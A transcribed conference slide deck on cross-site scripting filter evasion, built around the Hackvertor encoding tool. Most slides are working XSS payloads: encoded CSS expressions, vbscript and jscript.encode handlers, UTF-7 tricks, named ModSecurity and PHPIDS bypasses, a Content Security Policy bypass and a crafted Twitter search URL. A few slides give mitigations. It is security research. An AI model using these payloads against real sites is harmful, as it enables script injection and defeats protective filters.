XSS Lightsabre techniques. using Hackvertor



Similar documents
Finding XSS in Real World

Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

XSS PROTECTION CHEATSHEET FOR DEVELOPERS V1.0. Author of OWASP Xenotix XSS Exploit Framework opensecurity.in

Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011

Universal XSS via IE8s XSS Filters

1 Web Application Firewalls implementations, common problems and vulnerabilities

PST_WEBZINE_0X04. How to solve XSS and mix user's HTML/JavaScript code with your content with just one script

EVADING ALL WEB-APPLICATION FIREWALLS XSS FILTERS

UNTAMED XSS WARS FILTERS VS PAYLOADS

Carlos Muñoz Application Security Engineer WhiteHat

Cross-Site Scripting

Blackbox Reversing of XSS Filters

Intrusion detection for web applications

Advanced XSS. Nicolas Golubovic

Attacks on Clients: Dynamic Content & XSS

Next Generation Clickjacking

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Uploaded images filter evasion for carrying out XSS attacks

Bypassing Internet Explorer s XSS Filter

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

A Tale of the Weaknesses of Current Client-side XSS Filtering

A Tale of the Weaknesses of Current Client-Side XSS Filtering

AJAX and JSON Lessons Learned. Jim Riecken, Senior Software Engineer, Blackboard Inc.

JavaScript Security. John Graham Cumming

Web Development 1 A4 Project Description Web Architecture

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

Project 2: Web Security Pitfalls

Preparing for the Cross Site Request Forgery Defense

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

ART 379 Web Design. HTML, XHTML & CSS: Introduction, 1-2

XSS Reloaded. Renaud Bidou CTO. 3/13/2014 Deny All /13/2014 DenyAll Securing & Accelerating Your Applications

Some Notes on Web Application Firewalls

HTML5. Eoin Keary CTO BCC Risk Advisory.

Phishing by data URI

Revisiting XSS Sanitization

AJAX The Future of Web Development?

Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense

Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum

Unraveling Unicode: A Bag of Tricks for Bug Hunting

Hack-proof Your Drupal App. Key Habits of Secure Drupal Coding

Version 1.0 OFFICIAL THEME USER GUIDE. reva. HTML5 - Responsive One Page Parallax Theme

jquery Tutorial for Beginners: Nothing But the Goods

Web Development CSE2WD Final Examination June (a) Which organisation is primarily responsible for HTML, CSS and DOM standards?

HTML Form Widgets. Review: HTML Forms. Review: CGI Programs

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

HTML TIPS FOR DESIGNING

Ruby on Rails Secure Coding Recommendations

DIPLOMA IN WEBDEVELOPMENT

Web Application Guidelines

How to Create an HTML Page

Short notes on webpage programming languages

Web Application Attacks And WAF Evasion

MASTERTAG DEVELOPER GUIDE

Version 1.3 OFFICIAL THEME USER GUIDE. Renova. Unique Creative Portfolio - Responsive HTML5

Interspire Website Publisher Developer Documentation. Template Customization Guide

Playing with Web Application Firewalls

Network Security Web Security

The Image that called me

Defending against XSS,CSRF, and Clickjacking David Bishop

10CS73:Web Programming

X-Frame-Options: All about Clickjacking?

Relax Everybody: HTML5 Is Securer Than You Think

HTTP Parameter Pollution. OWASP EU09 Poland. The OWASP Foundation. Luca Carettoni Independent Researcher

R h a i n f o s e c. c o m Page 1

Basic Website Maintenance Tutorial*

Internationalizing JavaScript Applications Norbert Lindenberg. Norbert Lindenberg All rights reserved.

By Glenn Fleishman. WebSpy. Form and function

Citrix StoreFront. Customizing the Receiver for Web User Interface Citrix. All rights reserved.

JavaScript Basics & HTML DOM. Sang Shin Java Technology Architect Sun Microsystems, Inc. sang.shin@sun.com

Web App Security Keeping your application safe Joe Walker

Still Aren't Doing. Frank Kim

Bypassing XSS Auditor: Taking Advantage of Badly Written PHP Code

Cross Site Scripting Prevention

7 The Shopping Cart Module

JavaScript: Introduction to Scripting Pearson Education, Inc. All rights reserved.

The New OWASP Testing Guide v4

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Implementation of Web Application Firewall

Website Planning Checklist

Designing for Magento

Pwning Intranets with HTML5

Making Content Editable. Create re-usable templates with total control over the sections you can (and more importantly can't) change.

JISIS and Web Technologies

Webapps Vulnerability Report

CIS 467/602-01: Data Visualization

Secure Coding. External App Integrations. Tim Bach Product Security Engineer salesforce.com. Astha Singhal Product Security Engineer salesforce.

Client vs. Server Implementations of Mitigating XSS Security Threats on Web Applications

Interactive Data Visualization for the Web Scott Murray

JavaScript By: A. Mousavi & P. Broomhead SERG, School of Engineering Design, Brunel University, UK

HTML Web Page That Shows Its Own Source Code

XSS-GUARD : Precise Dynamic Prevention of Cross Site Scripting (XSS) Attacks

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Transcription:

XSS Lightsabre techniques using Hackvertor

What is Hackvertor? Tag based conversion tool Javascript property checker Javascript/HTML execution DOM browser Saves you writing code Free and no ads! Whoo hoo!

How was it born? Inspired from the PHP charset encoder by Mario Heiderich Hacking the PHPIDS A LOT Storing all my fuzzing/conversion code in one place My obsession with XSS & Javascript The need to do selective multiple nested conversions A central resource for common evasion techniques

How does it work? Start of tag <@dec_ent_0(;)> End of tag <@/dec_ent_0> (;) == Parameters E.g. (;) is like doing funccall( ; ) in programming Similar to HTML Works like nested Functions in programming Converts from the inside to the outside tag Multiple layers of conversions and selections

Why use it? You don t have to write the same code a million different ways It s quicker Quick testing with HTML and property inspectors You can find hidden stuff You can access it from anywhere Share your conversions easily

Practical example Start with vector you want to encode:- <div style="xss:expression(alert(1));"></div> Select the area that you wish to encode <div style="xss:expression(alert(1));"></div> Select your Hackvertor category Encode Click dec_ent <div style="xss:<@dec_ent_5(;)>expression<@/dec_ent_5>(alert(1));"> </div>

Practical example continued. Result of conversion: <div style="xss:express& #105;on(alert(1));"></div> Multiple tags can be layered Vector can be tested using Test HTML Common inputs are included

A quick demo

Helpful shortcuts Hackvertor isn t just XSS Quickly create arrays using arrayify <@arrayify_6([^\w],js)>test1;test2,test3#;test4<@/arrayify_6> Arrayify takes two parameters RegExp to split the string and the desired array type var myarray = ['test1','test2','test3','test4'];

Helpful shortcuts continued Quickly convert ranges of numbers <@dec2bin_10(',')><@range_9(100)>1<@/range_9><@/dec2bin _10> First inner tag creates a range of number from 1 to 100 Second outer tag splits the commas and converts each number to binary Use ranges and convert each number into their character <@fromcharcodes_11><@range_9(100)>1<@/range_9><@/from charcodes_11>

Hackvertlets Use Hackvertor input with bookmarklets Select text from a page to interact with Hackvertor from any web site Quickly create arrays from a selection in any language Useful for XSS fuzzing Write less code Layered tagging makes it easy to gather correct data

The techniques

Obfuscation/Filter evasion Remember the Language attribute? Language specifies the scripting language of an attribute event Also force scripting language without language attribute XSS injections can force vbscript using either of above Why? Filter evasion, WAF bypass and obfuscation

Obfuscation/Filter evasion examples <img src=1 language=vbs onerror=msgbox+1> <img src=1 language=vbscript onerror=msgbox+1> <img src=1 onerror=vbs:msgbox+1> Test in Hackvertor by placing in output and then HTML test

Obfuscation/Filter evasion All attributes can be HTML entity encoded Great for filter evasion (no parenthesis) Combine multiple escapes/encoding Javascript supports unicode escapes, hex, octal Combine Javascript escapes with HTML encoding Layer languages and encoding execscript("msgbox 1","vbscript"); //executes vbs from js execscript('execscript "alert(1)","javascript"',"vbscript"); //executes vbs from js then js from vbs

Obfuscation/Filter evasion examples <img src=1 onerror=vbs:msgbox +1> <body onload=`vbs:execscript "alert(1)","javascript"`>

Obfuscation/Filter evasion Undocumented stuff Language also accepts vbscript.encode and jscript.encode Ultimate obfuscation Unicode/hex/octal escapes+ from vbscript to js to vbscript + vbscript.encode + html encoding you get the idea

Obfuscation/Filter evasion <a href=# language="jscript.encode" onclick="#@~^caaaaa==c^+.d`8#mgiaaa==^#~@">test</a> <iframe onload=jscript.encode:#@~^caaaaa==c^+.d`8#mgiaaa==^#~@ > <iframe onload=vbscript.encode:#@~^caaaaa==\ko$k6,foqiaaa==^#~@ > <iframe onload=vbscript.encode:#@~^caaaaa==\ko$k6,foqiaaa== ^#~@>

Obfuscation/Filter evasion Force vbs inside event, execscript with type jscript.encode <body onload='vbs:execscript "#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@","jscript.encode"'>

[Luke:] I can t believe it. [Yoda:] That is why you fail.

Twitter Classic case of misidentifying context Lets do a search twittertheseresults(' \"\'xss','/search?q=&a Safe right? Within a onclick event inside a single quote, how can we escape? Attribute accepts html entities Escapes \" and \

Twitter &apos; Works in Firefox and others except IE &apos; is translated into a within the javascript event Reported 1 month ago to twitter had 6 XSS holes Still has 2 XSS holes (At least they ve fixed some) <a href=# onclick="x= 'USERINPUT ">test</a> E.g. &apos;,alert(1),&apos; These work cross browser:- &#39; &#x27; &#39 &#x27

Lets tweet these results http://search.twitter.com/search?q=&ands=blackhat+video&phra se=%26apos;%29,alert%281,%26apos;&ors=%26apos;%29,alert %281,%26apos;&nots=%26apos;%29,alert%281,%26apos;&tag= %26apos;%29,alert%281,%26apos;&lang=all%26apos;,alert%281,%26apos;&from=%26apos;%29,alert%281,%26apos;&to=%26ap os;%29,alert%281,%26apos;&ref=%26apos;%29,alert%281,%26a pos;&near=%26apos;%29,alert%281,%26apos;&within=15%26ap os;%29,alert%281,%26apos;&units=mi%26apos;%29,alert%281, %26apos;&since=%26apos;%29,alert%281,%26apos;&until=%26 apos;%29,alert%281,%26apos;&rpp=%26apos;%29,alert%281,%2 6apos;

Replicate tests in Hackvertor http://tinyurl.com/xssyoda Always escape all strings inside JS events with hex, octal or unicode escapes. E.g. \x27 (Should be safe) Encode all user input just to be safe Or don t place user input within events!

Don't be too proud of this technological terror you've constructed

UTF-8 DOM based XSS Javascript end statements are ;,\n right? Not in UTF-8 <script>x = '' alert(1)//'</script> Paragraph separator and line separator are end statements within UTF-8?x=%27%E2%80%A9alert%281%29//?x=%27%E2%80%A8alert%281%29//

Charsets/URI Hackvertor supports selective UTF-7 Great for filter evasion Great for breaking other things Malformed uri encoding Overlong UTF-8 First nibble, second nibble encoding etc http://tinyurl.com/charset-uri

Advanced expression vectors <////////////////style========xss=expression(window.x?0:(ale rt(/xss/),window.x=1))> Hackvertor automatically generates a nice expression which doesn t DOS the browser when executed multiple times Test expressions with HTML Test Hackvertor includes a expression generator Expression can be encoded in different ways depending on the position before the : or =

Advanced expression vectors style======================= multiple style=abc or \0061\0062\0063 \0061\0062\0000063 style=abc: or abc: or &#58 or : style=abc:expression(alert(1)) can be html encoded and hex escaped Literally millions of possibilities <div style="\000000000000000000000078\00000000000000000 0000073s:e\xp/*jnv&# 42;/\0072\0065ssion(window.x?0:(alert(/XSS/),window.x=1) );"></div>

Advanced expression vectors CSS hex escapes can be follow by spaces Comments can be encoded xss=expression(alert(1)) works = can be encoded This is why you need to use Hackvertor!

Modsecurity bypass CSS escapes with hex malformed entities Unicode js escapes with hex entity encoding x is obtained from the attribute `` backticks are used to bypass rules document is relative to the expression as it s within a attribute <div/style=`- :expressio&#x5c&#x36&#x65(\u0064omai&#x6e=x)` x=modsecurity.org>

PHPIDS bypass CSS escapes again with malformed hex entities (a personal favourite) = assignment instead of : execscript with filter evasion tricks like Force vbs with second argument obtained from attributes <div/style=-=expressio&#x5c&#x36&#x65(-execscript(x,y)-x) x=msgbox-1 y=vbs>

CSS expressions with UTF-7 UTF-7 BOM character can force UTF-7 in a external style sheet Would you let me upload a style sheet? @charset UTF-7 ; works But you don t need it +/v8 is all you need +/v8 body { font-family: '+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbA BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-'; }

UTF-7 Kung fu lesson Just +ADw-script+AD4-alert(1)+ADw-/script+AD4-? All browsers decode a full encoded UTF-7 string very useful <script src=data:text/utf-7,+ageabablahiadaaoadeakqcharset=utf-7></script> Yeah you can html entity encode that as well Useful for filter and WAF evasion http://tinyurl.com/utf-7-script

UTF-7 Kung fu lesson continued Multiple BOM characters allow UTF-7 to be executed BOM character has to be first character Not that useful but still interesting %2B%2F%76%38 %2B%2F%76%39 %2B%2F%76%2b %2B%2F%76%2f %2B%2F%76%38%20%2BADw-script%2BAD4-alert(1)%2BADw- %2Fscript%2BAD4-

Mozilla CSP Content Security Policy is intended to mitigate a large class of Web Application Vulnerabilities: Cross Site Scripting. Whitelisted script sources Prevents attribute events and inline script Options to disable eval, settimeout and setinterval to prevent obfuscation It s a bit like the death star for XSS

Mozilla CSP Fortunately we have a crazy x-wing pilot We use the site against itself JSON requests can be used but what if no callback is used? The JSON is escaped correctly Can we still break it?

Mozilla CSP ><script src= http://some.website/test.json></script> JSON request contains (static or dynamic):- [{'friend':'luke','email':'+accafqbdadsayqbsaguacgb0acgajwbna GEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaA AgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuA GU-'}]

Mozilla CSP Once JSON is decoded from the forced UTF-7 the request looks like:- [{'friend':'luke','email':''}];alert('may the force be with you');[{'job':'done'}] Demo available here:- http://www.businessinfo.co.uk/labs/cspluke/test.html

Mozilla CSP Using CSP remember to always filter your data regardless (some vectors my still slip through) Mitigation for CSP disable charset attribute of script tag (unlikely) Filter or remove UTF-7 from script tags Why have UTF-7 from script anyway?

Thanks & questions Thanks to:- Eduardo Vela (Sirdarckcat) for helping with Hackvertor and being awesome, Mario Heiderich for PHPIDS and PCE, Lars Strojny & Christian Matthies for PHPIDS and finally David Lindsay for hacking PHPIDS with me